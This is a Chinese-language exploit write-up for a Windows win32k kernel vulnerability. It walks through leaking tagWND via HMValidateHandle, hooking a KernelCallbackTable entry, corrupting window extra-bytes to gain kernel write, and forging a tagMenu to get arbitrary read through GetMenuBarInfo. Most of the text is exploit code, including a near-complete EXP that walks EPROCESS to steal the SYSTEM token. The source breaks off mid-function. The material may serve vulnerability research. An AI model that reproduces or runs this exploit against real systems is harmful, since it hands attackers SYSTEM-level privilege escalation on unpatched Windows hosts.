PTHRDESKHEAD HMValidateHandle(HWND h,char type);

HMValidateHandle\textcolor{cornflowerblue}{HMValidateHandle}HMValidateHandle​泄漏的是窗口的内核数据tagWnd在用户态下的映射

相关结构体定义如下:

typedef struct _HEAD
{HANDLE h;DWORD  cLockObj;
} HEAD, *PHEAD;typedef struct _THROBJHEAD
{HEAD h;PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;typedef struct _THRDESKHEAD
{THROBJHEAD h;  //该窗口桌面线程头部信息PVOID    rpdesk; //指向该窗口所在的桌面堆PVOID       pSelf;// points to the kernel mode address
} THRDESKHEAD, *PTHRDESKHEAD;

rpdesk就是前面出现的khwnd(表示内核中的窗口句柄指针)

可以通过IsMenu\textcolor{cornflowerblue}{IsMenu}IsMenu​函数定位HMValidateHandle\textcolor{cornflowerblue}{HMValidateHandle}HMValidateHandle​函数地址

.text:0000000180018E60 ; BOOL __stdcall IsMenu(HMENU hMenu)
.text:0000000180018E60                 public IsMenu
.text:0000000180018E60 IsMenu          proc near               ; DATA XREF: .rdata:0000000180089DE7↓o
.text:0000000180018E60                                         ; .rdata:off_180097828↓o ...
.text:0000000180018E60                 sub     rsp, 28h        ; Integer Subtraction
.text:0000000180018E64                 mov     dl, 2
.text:0000000180018E66                 call    HMValidateHandle ; Call Procedure  E8 75 DB FF FF
.text:0000000180018E6B                 xor     ecx, ecx        ; Logical Exclusive OR
.text:0000000180018E6D                 test    rax, rax        ; Logical Compare
.text:0000000180018E70                 setnz   cl              ; Set Byte if Not Zero (ZF=0)
.text:0000000180018E73                 mov     eax, ecx
.text:0000000180018E75                 add     rsp, 28h        ; Add
.text:0000000180018E79                 retn                    ; Return Near from Procedure

call指令的机器码为0xE8,调用的地址为0xE8后面的4个字节加上call下一条指令的地址,即 call0xFFFFDB75+0x180018E6B=0x18FD3D71(有符号数相加)\textcolor{orange}{call\ 0xFFFFDB75+0x180018E6B = 0x18FD3D71(有符号数相加)}call 0xFFFFDB75+0x180018E6B=0x18FD3D71(有符号数相加)​

代码为

typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
typedef BOOL(*IsMenu_t)(HMENU hMenu);HMValidateHandle_t HMValidateHandle = 0;
IsMenu_t u32_IsMenu = 0;g_hUser32 = LoadLibraryA("user32");
if (!g_hUser32) {return;
}
//获取u32_IsMenu
u32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");
if (!u32_IsMenu) {return;
}
for (int i=0; i < 0x100; i++) {PUCHAR tr = (PUCHAR)u32_IsMenu + i;if (*tr == 0xE8){//找到调用HMValidateHandle的指令位置offset=*(int*)((PCHAR)u32_IsMenu + i + 1);next_code = (ULONG64)u32_IsMenu + i+5;HMValidateHandle = next_code + offset;break;}
}

■ 归纳几个重要的结构体及其偏移

tagWND是内核Win32k*用来管理用户态窗体的结构,在win10以前可以通过windbg查看定义,而从win10开始**win32k***进行了大改,tagWND结构发生了许多改变,并且微软也抹去了符号。通过以上函数的逆向分析,现总结如下(可能稍有偏差,若有懂的大佬请指正!):

成员 偏移 含义
Hwnd 0x0 对应在用户态下的窗口句柄
rpDesk 0x8 该窗口所在的桌面堆
Style 0x18 窗口风格
ExtraBytes 0x128 指向窗口额外数据的指针
cbWndExtra 0xC8 窗口额外数据的大小
spMenu 0xA8 指向窗口的菜单指针
Flag 0xE8 窗口标志
Left 0x58 窗口左边
Right 0x5C 窗口右边

以上仅是tagWND的部分成员,对于编写POC已经足够。

用户态下的非弹出式菜单在内核中的对象是tagMenu,根据前面的分析,大致得到部分结构:

成员 偏移 含义
rgItemListEntry 0x58 菜单项列表入口,[rgItemListEntry]记录当前菜当中的所有项目
unKnow_1 0x40 未知,但是在调用GetMenuBarInfo时需要设置
unKnow_2 0x44 未知,但是在调用GetMenuBarInfo时需要设置
spSelf 0x98 指向tagMenu自身。
idItemInfo 0x28 菜单项信息指针,[[ idItemInfo ]+ 0x2C]处记录着当前菜单项数目

0x3 漏洞利用

结合漏洞描述和漏洞分析,漏洞利用的流程借用一张网图描述:

左边是正常流程,右边是攻击流程。通过HOOK位于User32.dll中的xxxClientAllocWindowClassExtraBytes\textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes}xxxClientAllocWindowClassExtraBytes函数,并在其中调用NtUserConsoleControl\textcolor{cornflowerblue}{NtUserConsoleControl}NtUserConsoleControl设置当前窗口的标志包含0x800,接着调用NtCallbackReturn\textcolor{cornflowerblue}{NtCallbackReturn}NtCallbackReturn返回一个虚假的值保存在tagWnd−>ExtraBytes\textcolor{orange}{tagWnd->ExtraBytes}tagWnd−>ExtraBytes中。后续利用SetWindowLong∗\textcolor{cornflowerblue}{SetWindowLong*}SetWindowLong∗系列函数时,将采用DeskHeap+offset\textcolor{orange}{DeskHeap+offset}DeskHeap+offset的方式设置tagWnd−>ExtraBytes\textcolor{orange}{tagWnd->ExtraBytes}tagWnd−>ExtraBytes。通过精心设计三个窗口,不妨记为hWndTriggleBughWndMinhWndMax,并且保证hWndMin紧挨在hWndMax之上,利用hWndTriggle修改hWndMin对应的tagWnd−>cbWndExtra\textcolor{orange}{tagWnd->cbWndExtra}tagWnd−>cbWndExtra为0xffffffff,即可突破SetWindowLong∗\textcolor{cornflowerblue}{SetWindowLong*}SetWindowLong∗​​长度限制,实现hWndMin越界写hWndMax,以此获得写原语。

获取读原语需要利用tagMenu,因此通过写原语修改tagWnd−>spMenu\textcolor{orange}{tagWnd->spMenu}tagWnd−>spMenu为自己伪造的tagMenu,然后可利用GetMenuBarInfo\textcolor{cornflowerblue}{GetMenuBarInfo}GetMenuBarInfo​实现任意读。

接下来可以按部就班地开始编写POC

1.获取需要用到的函数地址

BOOLEAN Init() {BOOLEAN bRet = TRUE;int offset = 0;ULONG64 next_code = 0;__try {g_hUser32 = LoadLibraryA("user32");if (!g_hUser32) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}//获取u32_IsMenuu32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");if (!u32_IsMenu) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}for (int i=0; i < 0x100; i++) {PUCHAR tr = (PUCHAR)u32_IsMenu + i;if (*tr == 0xE8){//找到调用HMValidateHandle的指令位置offset=*(int*)((PCHAR)u32_IsMenu + i + 1);next_code = (ULONG64)u32_IsMenu + i+5;HMValidateHandle = next_code + offset;break;}}if (!HMValidateHandle) {printf("[!]Error: Can not find HMValidateHandle!\n");bRet = FALSE;__leave;}printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);g_hNtdll = LoadLibraryA("ntdll");if (!g_hNtdll) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}g_hWin32u = LoadLibraryA("win32u");if (!g_hWin32u) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}NtCallbackReturn = GetProcAddress(g_hNtdll, "NtCallbackReturn");if (!NtCallbackReturn) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}NtUserConsoleControl = GetProcAddress(g_hWin32u, "NtUserConsoleControl");if (!NtUserConsoleControl) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}}__finally {if (g_hWin32u)FreeLibrary(g_hWin32u);if (g_hUser32)FreeLibrary(g_hUser32);if (g_hNtdll)FreeLibrary(g_hNtdll);}return bRet;
}

2.HOOK目标函数

VOID SetFuncHook(PULONG64 newFunc) {//1.获取本进程的PEBULONG64 ulCurrPEB = __readgsqword(0x60);printf("[+]Found ulCurrPEB = 0x%p\n", ulCurrPEB);//2.找到KernelCallbackTablePULONG64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;KernelCallbackTable = *KernelCallbackTable;printf("[+]Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);PULONG64  xxxClientAllocExtraBytesFunc = *(PULONG64)((ULONG64)KernelCallbackTable + 0x7B * 8);printf("[+]Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;//3.HOOKprintf("[+]Hook Func = 0x%p\n", newFunc);//首先需要设置页面可写属性DWORD dwOldProtect;VirtualProtect((LPVOID)((ULONG64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);*(PULONG64)((ULONG64)KernelCallbackTable + 0x7B * 8)= newFunc;//恢复页面属性VirtualProtect((LPVOID)((ULONG64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
}

3.精心构造3个窗口

srand(time(0));
g_Randnum = (rand() % 255 + 0x1998) + 1;WndClassExW.hIcon = 0;
WndClassExW.hbrBackground = 0;
WndClassExW.lpszClassName = 0;
WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
WndClassExW.cbSize = 80;
WndClassExW.style = 3;
WndClassExW.cbClsExtra = 0;
WndClassExW.cbWndExtra = g_Randnum;//注意:此处的大小必须大等于0x128
WndClassExW.hInstance = GetModuleHandleW(0);
WndClassExW.lpszClassName = L"AttackClass";g_Atom1 = RegisterClassExW(&WndClassExW);WndClassExW.cbWndExtra = 32;//这里只需设置非0值即可
WndClassExW.lpszClassName = L"TriggerClass";printf("[+]cbWndExtra offset = 0x%p\n", offsetof(WNDCLASSEXW, cbWndExtra));
g_Atom2 = RegisterClassExW(&WndClassExW);for (int i = 0; i < 10; i++) {hWnd[i] = CreateWindowExW(0x8000000u,(LPCWSTR)(unsigned __int16)g_Atom2,L"LeakSomething",0x8000000u,0,0,0,0,0,CreateMenu(),GetModuleHandleW(0),0);if (!hWnd) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());goto End;}ULONG64 KernelMap = (ULONG64)HMValidateHandle(hWnd[i], 1);//获取tagWNDk在用户空间中的可读映射地址HandleMap[i] = KernelMap;VirtualQuery(KernelMap, &Buffer, 0x30);if (g_HeapInfo.BaseAddress==NULL || g_HeapInfo.BaseAddress>=(ULONG64)Buffer.BaseAddress) {g_HeapInfo.BaseAddress = (ULONG64)Buffer.BaseAddress;g_HeapInfo.RegionSize = (SIZE_T)Buffer.RegionSize;}
}
for (int i = 2; i < 10; ++i)DestroyWindow(hWnd[i]);
  • 创建10个窗口,并释放8个窗口,产生内存空洞,剩下2个窗口一个是hWndMin,另一个就是hWndMax。后面再创建一个窗口hWndTriggleBug时就会重用8块空闲内存中的某一个。
  • 调用VirtualQuery\textcolor{cornflowerblue}{VirtualQuery}VirtualQuery​查询tagWnd在用户空间中映射的数据,循环结束后g_HeapInfo.BaseAddress\textcolor{orange}{g\_HeapInfo.BaseAddress}g_HeapInfo.BaseAddress​​​保存的是最小的地址。
  • 因为hWndTriggleBug会重用空闲的内存,所以可在g_HeapInfo.BaseAddress\textcolor{orange}{g\_HeapInfo.BaseAddress}g_HeapInfo.BaseAddress中搜索其特征,找到hWndTriggle的句柄,然后在我们代理的xxxClientAllocExtraBytesFunc\textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc}xxxClientAllocExtraBytesFunc函数中给hWndTriggleBug设置一个虚假offset,并修改其额外数据寻址方式为DeskHeap+offset\textcolor{orange}{DeskHeap+offset}DeskHeap+offset。​

4.代理xxxClientAllocExtraBytesFunc

PVOID* WINAPI ClientAllocatWindowClassExtraBytesProxy(PULONG size) {printf("[+]ClientAllocatWindowClassExtraBytesProxy Called!\n");HWND hWndTriggle = 0;if (*size == g_Randnum) {//获取窗口句柄hWndTriggle = GetWndFromMap();printf("[+]Get target Window handle = 0x%p\n",hTargetWnd);//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+OffsetNtUserConsoleControl(6,&hTargetWnd, 0x10);//将hWndTriggleBug的tagWnd->ExtraBytes设置为hWndMin的桌面堆地址ULONG64 ulResult=g_WndMinDeskHeap;NtCallbackReturn(&ulResult, 24, 0);}return xxxClientAllocWindowClassExtraBytes(size);
}

5.在内存中寻找hWndTriggle的句柄

HWND GetWndFromMap() {PVOID BaseAddr = g_HeapInfo.BaseAddress;ULONG64 visit = (ULONG64)BaseAddr;DWORD RegionSize = g_HeapInfo.RegionSize;HWND TargethWnd = 0;do {while (*(PWORD)visit != g_Randnum && RegionSize>0) {visit += 2;RegionSize -= 1;}TargethWnd = (HWND) * (PDWORD)(visit - 0xc8);} while (!TargethWnd);return TargethWnd;
}

6.获取读原语

需要伪造tagMenu结构

DWORD64  tagMenu = (__int64)LocalAlloc(0x40u, 0x200ui64);
printf("[+]tagMenu = 0x%p\n", tagMenu);
DWORD64 idItemInfo = (__int64)LocalAlloc(0x40u, 0x30ui64);
printf("[+]idItemInfo = 0x%p\n", idItemInfo);
DWORD64 spSelf = (__int64)LocalAlloc(0x40u, 8ui64);
printf("[+]spSelf = 0x%p\n", spSelf);
DWORD64 spMenu = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64);
printf("[+]spMenu = 0x%p\n", spMenu);
HLOCAL  rgItemList = LocalAlloc(0x40u, 40ui64);
printf("[+]rgItemList = 0x%p\n", rgItemList);DWORD64 ref_tagMenu = tagMenu;
DWORD64 ref_idItemInfo = idItemInfo;
DWORD64 ref_spSelf = spSelf;
DWORD64 ref_spMenu = spMenu;
ref_g_rgItemList = rgItemList;*(DWORD*)(idItemInfo + 0x2c) = 0x10;
*(PDWORD)ref_tagMenu = 0x66666666;
*(DWORD64*)(ref_tagMenu+0x28)= ref_idItemInfo;
*(PDWORD)(ref_tagMenu+0x40 )= 1;
*(PDWORD)(ref_tagMenu + 0x44) = 1;
*(DWORD64*)(ref_tagMenu+0x58)= (DWORD64)rgItemList;
*(DWORD64*)ref_spSelf = tagMenu;
*(DWORD64*)(ref_spMenu + 0x98) = ref_spSelf;
//替换hWndMmax的spMenu
ULONG64 ulOffset = g_MinTagWnd - MaxTagWnd;ULONG64 readQword(ULONG64 DestAddress) {MENUBARINFO pmbi = {0};pmbi.cbSize = sizeof(MENUBARINFO);PULONG pTemp = (PULONG64)LocalAlloc(0x40u, 0x200);ULONG64 qwBase = 0x000000400000000;ULONG64 qwAdd = 0x0000000800000008;for (int i = 0; i < 0x40; i++){*(pTemp + i) = qwBase + qwAdd * i;}*(PULONG64)ref_g_rgItemList = (ULONG64)pTemp;GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);g_pmbi_rcBar_left = pmbi.rcBar.left;*(PULONG64)ref_g_rgItemList = DestAddress - g_pmbi_rcBar_left;GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);return   (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}

以上伪造的tagMenu结构如图所示:

readQword\textcolor{cornflowerblue}{readQword}readQword就是读原语的实现。@line:33的循环是伪造idItemList的数据,每次读取的时候都要重置一下。结合之前的逆向分析,@line:38第一次调用GetMenuBarInfo\textcolor{cornflowerblue}{GetMenuBarInfo}GetMenuBarInfo主要是为了确定idItemList相对于idItemListEntry的偏移offset,这个偏移会保存在pmbi.rcBar.left\textcolor{orange}{pmbi.rcBar.left}pmbi.rcBar.left中。@line:40则是替换了idItemList,正因为这里的减法,第二次调用GetMenuBarInfo\textcolor{cornflowerblue}{GetMenuBarInfo}GetMenuBarInfo​时就能正确读取到DestAddress指向的数据,并且该数据长度为8字节,分成两个4字节分别保存在lefttop中,所以将topleft合并就得到了DestAddress内存的数据了。

4.提权

至此已经获得了内核读写原语,接下来考虑提权。类似tagMenutagWnd这样的结构有着公共头部THROBJHEAD,其偏移0x10处保存着指向**_KTHREAD的指针,该结构体微软有符号,后面的步骤就是从这个结构体中一步步找出PIDToken**,并替换我们程序的Token完成提权。

5.恢复

前面对hWinMinhWndTriggle都做了修改,如果不恢复直接退出程序会导致蓝屏。恢复的方式和修改的时候是差不多的,所以之前涉及到重要的修改时都会保留有备份,恢复到备份的数据即可。

6.EXP

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>#define KERNEL_CALLBACK_TABLE_OFFSET 0x58
#define WND_EXTRA_DATA_PTR_OFFSET 0x128
#define WND_CBEXTRA_OFFSET 0xC8
#define WND_STYLE_OFFSET 0x18
#define WND_STYLE_WS_CHLD 0x4000000000000000
#define WND_MAPOFUSERSPACE_OFFSET 0x28typedef PVOID (*xxxClientAllocWindowClassExtraBytes_t)(PDWORD Length);
typedef NTSTATUS(__fastcall* NtUserConsoleControl_t)(DWORD64, LPVOID, DWORD);
typedef NTSTATUS(__fastcall* NtCallbackReturn_t)(LPVOID, DWORD, NTSTATUS);
typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);
typedef BOOL(*IsMenu_t)(HMENU hMenu);typedef struct _HEAP_INFO {LPVOID BaseAddress;SIZE_T RegionSize;
}HEAP_INFO;xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
NtUserConsoleControl_t NtUserConsoleControl = 0;
NtCallbackReturn_t NtCallbackReturn = 0;
HMValidateHandle_t HMValidateHandle = 0;
IsMenu_t u32_IsMenu = 0;HMODULE g_hNtdll = 0;
HMODULE g_hWin32u = 0;
HMODULE g_hUser32 = 0;
WORD g_Randnum = 0;
HEAP_INFO g_HeapInfo = { 0 };
DWORD64 g_MinTagWnd = 0;
HWND g_hWndMax = 0;
DWORD g_pmbi_rcBar_left = 0;
DWORD64 g_WndMinDeskHeap = 0;
DWORD64 ref_g_rgItemList = 0;VOID SetFuncHook(PDWORD64 newFunc) {//1.获取本进程的PEBDWORD64 ulCurrPEB = __readgsqword(0x60);printf("[+]Found ulCurrPEB = 0x%p\n", ulCurrPEB);//2.找到KernelCallbackTablePDWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;KernelCallbackTable = *KernelCallbackTable;printf("[+]Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);PDWORD64  xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);printf("[+]Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;//3.HOOKprintf("[+]Hook Func = 0x%p\n", newFunc);//首先需要设置页面可写属性DWORD dwOldProtect;VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8)= newFunc;VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
}DWORD64 readQword(DWORD64 DestAddress) {MENUBARINFO pmbi = { 0 };pmbi.cbSize = sizeof(MENUBARINFO);DWORD64* pTemp = (DWORD64*)LocalAlloc(0x40u, 0x200ui64);memset(pTemp, 0, 0x200);DWORD64 qwBase = 0x000000400000000;DWORD64 qwAdd = 0x0000000800000008;for (int i = 0; i < 0x40; i++){*(pTemp + i) = qwBase + qwAdd * i;}*(DWORD64*)ref_g_rgItemList = (DWORD64)pTemp;GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);g_pmbi_rcBar_left = pmbi.rcBar.left;*(DWORD64*)ref_g_rgItemList = DestAddress - g_pmbi_rcBar_left;GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);return  (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}HWND GetWndFromMap() {PVOID BaseAddr = g_HeapInfo.BaseAddress;DWORD64 visit = BaseAddr;DWORD RegionSize = g_HeapInfo.RegionSize;HWND TargethWnd = 0;printf("[+]BaseAddr = 0x%p\n", BaseAddr);do {while (*(PWORD)visit != g_Randnum && RegionSize>0) {visit += 2;RegionSize -= 1;}TargethWnd = (HWND) * (PDWORD)(visit - 0xc8);} while (!TargethWnd);return TargethWnd;
}PVOID* WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD64 size) {HWND hTargetWnd = 0;if (*size == g_Randnum) {//获取窗口句柄hTargetWnd = GetWndFromMap();printf("[+]hTargetWnd = 0x%p\n", hTargetWnd);//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+OffsetNtUserConsoleControl(6,&hTargetWnd, 0x10);//修改hWndTriggle 的 tagWnd->ExtraBytes 为 hWndMin的桌面堆DWORD64 ulResult= g_WndMinDeskHeap;NtCallbackReturn(&ulResult, 24, 0);}return xxxClientAllocWindowClassExtraBytes(size);
}BOOLEAN Init() {BOOLEAN bRet = TRUE;int offset = 0;DWORD64 next_code = 0;__try {g_hUser32 = LoadLibraryA("user32");if (!g_hUser32) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}//获取u32_IsMenuu32_IsMenu = (IsMenu_t)GetProcAddress(g_hUser32, "IsMenu");if (!u32_IsMenu) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}for (int i = 0; i < 0x100; i++) {PUCHAR tr = (PUCHAR)u32_IsMenu + i;if (*tr == 0xE8){//找到调用HMValidateHandle的指令位置offset = *(int*)((PCHAR)u32_IsMenu + i + 1);next_code = (DWORD64)u32_IsMenu + i + 5;HMValidateHandle = (HMValidateHandle_t)(next_code + offset);break;}}if (!HMValidateHandle) {printf("[!]Error: Can not find HMValidateHandle!\n");bRet = FALSE;__leave;}printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);g_hNtdll = LoadLibraryA("ntdll");if (!g_hNtdll) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}g_hWin32u = LoadLibraryA("win32u");if (!g_hWin32u) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(g_hNtdll, "NtCallbackReturn");if (!NtCallbackReturn) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(g_hWin32u, "NtUserConsoleControl");if (!NtUserConsoleControl) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());bRet = FALSE;__leave;}}__finally {}return bRet;
}LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{if (a2 != 2)return DefWindowProcW(a1, a2, a3, a4);PostQuitMessage(0);return 0;
}int main(int argc,char** argv)
{WNDCLASSEXW WndClassExW = { 0 };HWND hWndTriggerBug = 0;HWND HandleList[10] = {0};LPVOID HandleMap[10] = {0};MEMORY_BASIC_INFORMATION Buffer = { 0 };if (!Init()) {return 0;}SetFuncHook(ClientAllocatWindowClassExtraBytesProxy);srand(time(0));g_Randnum = rand() % 255 + 0xabcd;WndClassExW.hIcon = 0;WndClassExW.hbrBackground = 0;WndClassExW.lpszClassName = 0;WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;WndClassExW.cbSize = 80;WndClassExW.style = 3;WndClassExW.cbClsExtra = 0;WndClassExW.cbWndExtra = 0x20;WndClassExW.hInstance = GetModuleHandleW(0);WndClassExW.lpszClassName = L"DemoClass";//atom1窗口进行漏洞利用ATOM atom1 = RegisterClassExW(&WndClassExW);WndClassExW.cbWndExtra = g_Randnum;WndClassExW.lpszClassName = L"TriggerClass";//atom2窗口用来触发漏洞ATOM atom2 = RegisterClassExW(&WndClassExW);for (int i = 0; i < 10; i++) {HandleList[i] = CreateWindowExW(0x8000000u,(LPCWSTR)(unsigned __int16)atom1,L"LeakSomething",0x8000000u,0,0,0,0,0,CreateMenu(),GetModuleHandleW(0),0);if (!HandleList[i]) {printf("[!]Error: %d, Code = 0x%p", __LINE__, GetLastError());exit(1);}DWORD64 KernelMap = (DWORD64)HMValidateHandle(HandleList[i], 1);//获取tagWNDk在用户空间中的可读映射地址HandleMap[i] = KernelMap;VirtualQuery(KernelMap, &Buffer, 0x30);if (g_HeapInfo.BaseAddress == NULL || g_HeapInfo.BaseAddress >= (DWORD64)Buffer.BaseAddress) {g_HeapInfo.BaseAddress = (DWORD64)Buffer.BaseAddress;g_HeapInfo.RegionSize = (DWORD64)Buffer.RegionSize;}}//释放掉8个窗口,剩下两个备用,记为Wnd_1和Wnd_2 for (int i = 2; i < 10; i++) {DestroyWindow(HandleList[i]);}DWORD64 Wnd1_DeskHeap = *(PDWORD64)((PCHAR)HandleMap[0] + 8);DWORD64 Wnd2_DeskHeap = *(PDWORD64)((PCHAR)HandleMap[1] + 8);//找到桌面堆地址最小的那个窗口HWND hWndMin = HandleList[(Wnd1_DeskHeap < Wnd2_DeskHeap ? 0 : 1)];//找到桌面堆地址最大的那个窗口g_hWndMax = HandleList[(Wnd1_DeskHeap > Wnd2_DeskHeap ? 0 : 1)];//找到桌面堆地址最小的tagWndg_MinTagWnd = HandleMap[(Wnd1_DeskHeap < Wnd2_DeskHeap ? 0 : 1)];//记录桌面堆最大的tagWndDWORD64 MaxTagWnd = HandleMap[(Wnd1_DeskHeap > Wnd2_DeskHeap ? 0 : 1)];//设置hWndMin的寻址方式为DeskHeap+offsetNtUserConsoleControl(6, &hWndMin, 0x10);//保存原先的tagWnd->ExtraBytesDWORD64 ulOldMaxExtraBytes = *(PDWORD64)(MaxTagWnd + WND_EXTRA_DATA_PTR_OFFSET);DWORD64 ulOldMinExtraBytes = *(PDWORD64)(g_MinTagWnd + WND_EXTRA_DATA_PTR_OFFSET);g_WndMinDeskHeap = *(PDWORD)(g_MinTagWnd + 8);DWORD64 WndMaxDeskHeap = *(PDWORD)(MaxTagWnd + 8);//创建一个触发漏洞的窗口hWndTriggerBug = CreateWindowExW(0x8000000u,(LPCWSTR)(unsigned __int16)atom2,L"LeakSomething",0x8000000u,0,0,0,0,0,CreateMenu(),GetModuleHandleW(0),0);printf("[+]Created windows = 0x%p\n", hWndTriggerBug);/*此时触发漏洞的窗口已经在我们Hook的函数中被修改了寻址模式*///在hWndMin的tagWnd->ExtraBytes设置为hWndMin的桌面堆SetWindowLongW(hWndTriggerBug, WND_EXTRA_DATA_PTR_OFFSET, g_WndMinDeskHeap);//将WndWin的Extra_Size修改为0xffffffff,从而解除对WndWin使用SetWindowLong* 系列函数的限制SetWindowLongW(hWndTriggerBug, WND_CBEXTRA_OFFSET, 0xffffffff);/*现在已经获得写原语,通过hWndMin和hWndMax的组合即实现可任意内核地址写接下来要实现读原语,需要利用到tagMenu,所以对MenuBarInfo结构体进行伪造*/DWORD64  tagMenu = (__int64)LocalAlloc(0x40u, 0x200ui64);printf("[+]tagMenu = 0x%p\n", tagMenu);DWORD64 idItemInfo = (__int64)LocalAlloc(0x40u, 0x30ui64);printf("[+]idItemInfo = 0x%p\n", idItemInfo);DWORD64 spSelf = (__int64)LocalAlloc(0x40u, 8ui64);printf("[+]spSelf = 0x%p\n", spSelf);DWORD64    spMenu = (LONG_PTR)LocalAlloc(0x40u, 0xA0ui64);printf("[+]spMenu = 0x%p\n", spMenu);HLOCAL rgItemList = LocalAlloc(0x40u, 40ui64);printf("[+]rgItemList = 0x%p\n", rgItemList);DWORD64 ref_tagMenu = tagMenu;DWORD64 ref_idItemInfo = idItemInfo;DWORD64 ref_spSelf = spSelf;DWORD64   ref_spMenu = spMenu;ref_g_rgItemList = rgItemList;*(DWORD*)(idItemInfo + 0x2c) = 0x10;*(PDWORD)ref_tagMenu = 0x66666666;*(DWORD64*)(ref_tagMenu+0x28)= ref_idItemInfo;*(PDWORD)(ref_tagMenu+0x40 )= 1;*(PDWORD)(ref_tagMenu + 0x44) = 1;*(DWORD64*)(ref_tagMenu+0x58)= (DWORD64)rgItemList;*(DWORD64*)ref_spSelf = tagMenu;*(DWORD64*)(ref_spMenu + 0x98) = ref_spSelf;//替换hWndMmax的spMenuDWORD64 ulOffset = WndMaxDeskHeap - g_WndMinDeskHeap;DWORD64 MaxWndStyle = *(PDWORD64)(MaxTagWnd + WND_STYLE_OFFSET);//__debugbreak();//设置hWinMax的窗口样式包含WS_CHLDSetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle ^ WND_STYLE_WS_CHLD);//修改hWndMax的spMenu为我们伪造的spMenuDWORD64 ulOldtagMenu = SetWindowLongPtrA(g_hWndMax, GWLP_ID, spMenu);printf("[+]ulOldtagMenu = 0x%p\n", ulOldtagMenu);//恢复hWinMax的窗口样式SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle);//此时已经获得读原语,并封装成函数readQWORD()DWORD64 first = readQword(ulOldtagMenu + 0x50);printf("[+]first = 0x%p\n", first);DWORD64 second = readQword(first + 0x18);printf("[+]second = 0x%p\n", second);DWORD64 third = readQword(second + 0x80);printf("[+]third = 0x%p\n", third);DWORD64 pTagThreadInfo = readQword(first + 0x10);printf("[+]pTagThreadInfo = 0x%p\n", pTagThreadInfo);DWORD64 tagThreadInfo = readQword(pTagThreadInfo);printf("[+]tagThreadInfo = 0x%p\n", tagThreadInfo);DWORD64 _Eprocess = readQword(tagThreadInfo + 0x220);printf("[+]_Eprocess = 0x%p\n", _Eprocess);DWORD64 CurEprocess = _Eprocess;DWORD CurPid = GetCurrentProcessId();DWORD64 SystemToken = 0;DWORD64 CurTokenAddr = 0;DWORD64 tagWndTriggle = 0;do {DWORD pid = readQword(_Eprocess + 0x2E8);if (pid == 4) {SystemToken = readQword(_Eprocess + 0x360);printf("[+]SystemToken = 0x%p\n", SystemToken);}else if (pid == CurPid) {CurTokenAddr = _Eprocess + 0x360;printf("[+]CurTokenAddr = 0x%p\n", 